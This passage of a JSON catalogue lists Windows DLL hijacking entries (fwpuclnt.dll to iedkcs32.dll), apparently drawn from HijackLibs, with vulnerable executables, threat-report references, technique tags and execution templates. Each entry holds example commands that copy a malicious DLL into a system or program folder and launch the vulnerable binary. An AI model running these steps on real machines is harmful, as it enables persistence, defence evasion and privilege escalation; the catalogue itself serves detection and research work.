    "namespace": "windows:dllhijack:fwpolicyiomgr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fwpolicyiomgr.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fwpuclnt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fwpuclnt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\checknetisolation.exe\\\"\"\n\n# fwpuclnt.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\checknetisolation.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fwpuclnt.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fwpuclnt.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "fwpuclnt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fwpuclnt",
    "name": "fwpuclnt.dll",
    "namespace": "windows:dllhijack:fwpuclnt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fwpuclnt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious fxsapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fxsapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\fxsunatd.exe\\\"\"\n\n# fxsapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\fxsunatd.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fxsapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "fxsapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fxsapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-fxsapi",
    "name": "fxsapi.dll",
    "namespace": "windows:dllhijack:fxsapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fxsapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fxsst.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fxsst.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%WINDIR%\\\\explorer.exe\\\"\"\n\n# fxsst.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %WINDIR%\\explorer.exe (Search Order)\n",
    "_source": "windows-dllhijack-fxsst.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fxsst.dll — Search Order hijacking (Microsoft)",
    "execution": {
      "template": "fxsst.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fxsst",
    "name": "fxsst.dll",
    "namespace": "windows:dllhijack:fxsst",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fxsst.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fxstiff.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fxstiff.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\fxssvc.exe\\\"\"\n\n# fxstiff.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\fxssvc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fxstiff.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fxstiff.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fxstiff.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fxstiff",
    "name": "fxstiff.dll",
    "namespace": "windows:dllhijack:fxstiff",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fxstiff.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious getuname.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\getuname.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\charmap.exe\\\"\"\n\n# getuname.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\charmap.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-getuname.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "getuname.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "getuname.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-getuname",
    "name": "getuname.dll",
    "namespace": "windows:dllhijack:getuname",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/getuname.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious gflagsui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\Debuggers\\\\%VERSION%\\\\gflagsui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\Debuggers\\\\%VERSION%\\\\gflags.exe\\\"\"\n\n# gflagsui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Windows Kits\\10\\Debuggers\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Kits\\10\\Debuggers\\%VERSION%\\gflags.exe (Sideloading) [AutoElevate]\n",
    "_source": "windows-dllhijack-gflagsui.md",
    "author": "Gary Lobermier",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "gflagsui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "gflagsui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-gflagsui",
    "name": "gflagsui.dll",
    "namespace": "windows:dllhijack:gflagsui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://globetech.biz/index.php/2023/05/19/evading-edr-by-dll-sideloading-in-csharp/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/gflagsui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious glib-2.0.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\VMware\\\\VMware Tools\\\\glib-2.0.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\VMware\\\\VMware Tools\\\\VMwareXferlogs.exe\\\"\"\n\n# glib-2.0.dll\n\n**Vendor:** VMWare\n\n**Expected Location:** %PROGRAMFILES%\\VMware\\VMware Tools\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\VMware\\VMware Tools\\VMwareXferlogs.exe (Sideloading)\n",
    "_source": "windows-dllhijack-glib-2-0.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "glib-2.0.dll — Sideloading hijacking (VMWare)",
    "execution": {
      "template": "glib-2.0.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-glib-2-0",
    "name": "glib-2.0.dll",
    "namespace": "windows:dllhijack:glib-2-0",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/glib-2-0.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious goopdate.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Dropbox\\\\Update\\\\goopdate.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"DropboxUpdate.exe\\\"\"\n\n# goopdate.dll\n\n**Vendor:** Dropbox\n\n**Expected Location:** %PROGRAMFILES%\\Dropbox\\Update\n\n**Vulnerable Executables:**\n- DropboxUpdate.exe (Sideloading)\n- DropboxCrashHandler.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n\n**Acknowledgement:** Craig Sweeney\n",
    "_source": "windows-dllhijack-goopdate.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "goopdate.dll — Sideloading hijacking (Dropbox)",
    "execution": {
      "template": "goopdate.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-goopdate",
    "name": "goopdate.dll",
    "namespace": "windows:dllhijack:goopdate",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.huntress.com/blog/advanced-persistent-threat-targeting-vietnamese-human-rights-defenders"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/goopdate.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious gpapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\gpapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\gpapi.exe\\\"\"\n\n# gpapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\gpapi.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-gpapi.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "gpapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "gpapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-gpapi",
    "name": "gpapi.dll",
    "namespace": "windows:dllhijack:gpapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/gpapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious hha.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\hha.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\HTML Help Workshop\\\\hhc.exe\\\"\"\n\n# hha.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\HTML Help Workshop\\hhc.exe (Sideloading)\n\n**Acknowledgement:** Adam\n",
    "_source": "windows-dllhijack-hha.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "hha.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "hha.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-hha",
    "name": "hha.dll",
    "namespace": "windows:dllhijack:hha",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-wave-of-plugx-targets-legitimate-apps/"
      },
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/hha.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious hid.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\hid.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\psr.exe\\\"\"\n\n# hid.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\psr.exe (Sideloading)\n- %SYSTEM32%\\tabcal.exe (Sideloading)\n- %SYSTEM32%\\PerceptionSimulation\\PerceptionSimulationService.exe (Search Order)\n- %PROGRAMFILES%\\Logitech\\SetPointP\\LDeviceDetectionHelper.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** v1stra\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-hid.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "hid.dll — Sideloading, Search Order hijacking (Microsoft)",
    "execution": {
      "template": "hid.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-hid",
    "name": "hid.dll",
    "namespace": "windows:dllhijack:hid",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://github.com/netero1010/ServiceMove-BOF"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/30fbf917d0a510b8dac3bacb0f4948f9d55bbfb0fa960b07f0af20ba4f18fc19/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/hid.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious hnetmon.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\hnetmon.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# hnetmon.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-hnetmon.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "hnetmon.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "hnetmon.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-hnetmon",
    "name": "hnetmon.dll",
    "namespace": "windows:dllhijack:hnetmon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/hnetmon.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious hpbprndiloc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Hewlett-Packard\\\\%VERSION%\\\\hpbprndiloc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"hpbprndi.exe\\\"\"\n\n# hpbprndiloc.dll\n\n**Vendor:** HP\n\n**Expected Location:** %PROGRAMFILES%\\Hewlett-Packard\\%VERSION%\n\n**Vulnerable Executables:**\n- hpbprndi.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-hpbprndiloc.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "hpbprndiloc.dll — Sideloading hijacking (HP)",
    "execution": {
      "template": "hpbprndiloc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-hpbprndiloc",
    "name": "hpbprndiloc.dll",
    "namespace": "windows:dllhijack:hpbprndiloc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/TheEnergyStory/LoadLibraryControlFlowRedirection"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/hpbprndiloc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious hpcustpartui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\HP\\\\hpcustpartui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"HPCustParticUI.exe\\\"\"\n\n# hpcustpartui.dll\n\n**Vendor:** HP\n\n**Expected Location:** %PROGRAMFILES%\\HP\n\n**Vulnerable Executables:**\n- HPCustParticUI.exe (Sideloading)\n\n**Acknowledgement:** Christiaan Beek\n",
    "_source": "windows-dllhijack-hpcustpartui.md",
    "author": "Christiaan Beek",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "hpcustpartui.dll — Sideloading hijacking (HP)",
    "execution": {
      "template": "hpcustpartui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-hpcustpartui",
    "name": "hpcustpartui.dll",
    "namespace": "windows:dllhijack:hpcustpartui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trellix.com/en-us/about/newsroom/stories/research/operation-harvest-a-deep-dive-into-a-long-term-campaign.html"
      },
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/hpcustpartui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious hpqhvsei.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\HP\\\\hpqhvsei.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"hpqhvind.exe\\\"\"\n\n# hpqhvsei.dll\n\n**Vendor:** HP\n\n**Expected Location:** %PROGRAMFILES%\\HP\n\n**Vulnerable Executables:**\n- hpqhvind.exe (Sideloading)\n\n**Acknowledgement:** Adam\n",
    "_source": "windows-dllhijack-hpqhvsei.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "hpqhvsei.dll — Sideloading hijacking (HP)",
    "execution": {
      "template": "hpqhvsei.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-hpqhvsei",
    "name": "hpqhvsei.dll",
    "namespace": "windows:dllhijack:hpqhvsei",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.secureworks.com/research/shadowpad-malware-analysis"
      },
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/"
      },
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2023/02/25/beyond-good-ol-run-key-part-141/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/hpqhvsei.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious httpapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\httpapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# httpapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\wifitask.exe (Sideloading)\n- %SYSTEM32%\\wsmanhttpconfig.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-httpapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "httpapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "httpapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "windows-dllhijack-httpapi",
    "name": "httpapi.dll",
    "namespace": "windows:dllhijack:httpapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/httpapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious icmp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\icmp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\nlbmgr.exe\\\"\"\n\n# icmp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\nlbmgr.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-icmp.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "icmp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "icmp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-icmp",
    "name": "icmp.dll",
    "namespace": "windows:dllhijack:icmp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/icmp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious idstore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\idstore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicecensus.exe\\\"\"\n\n# idstore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n- %SYSTEM32%\\shellappruntime.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-idstore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "idstore.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "idstore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-idstore",
    "name": "idstore.dll",
    "namespace": "windows:dllhijack:idstore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/idstore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ieadvpack.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ieadvpack.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ie4uinit.exe\\\"\"\n\n# ieadvpack.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ie4uinit.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ieadvpack.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ieadvpack.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ieadvpack.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ieadvpack",
    "name": "ieadvpack.dll",
    "namespace": "windows:dllhijack:ieadvpack",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ieadvpack.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious iedkcs32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\iedkcs32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ie4uinit.exe\\\"\"\n\n# iedkcs32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ie4uinit.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-iedkcs32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "iedkcs32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "iedkcs32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-iedkcs32",
    "name": "iedkcs32.dll",
    "namespace": "windows:dllhijack:iedkcs32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/iedkcs32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
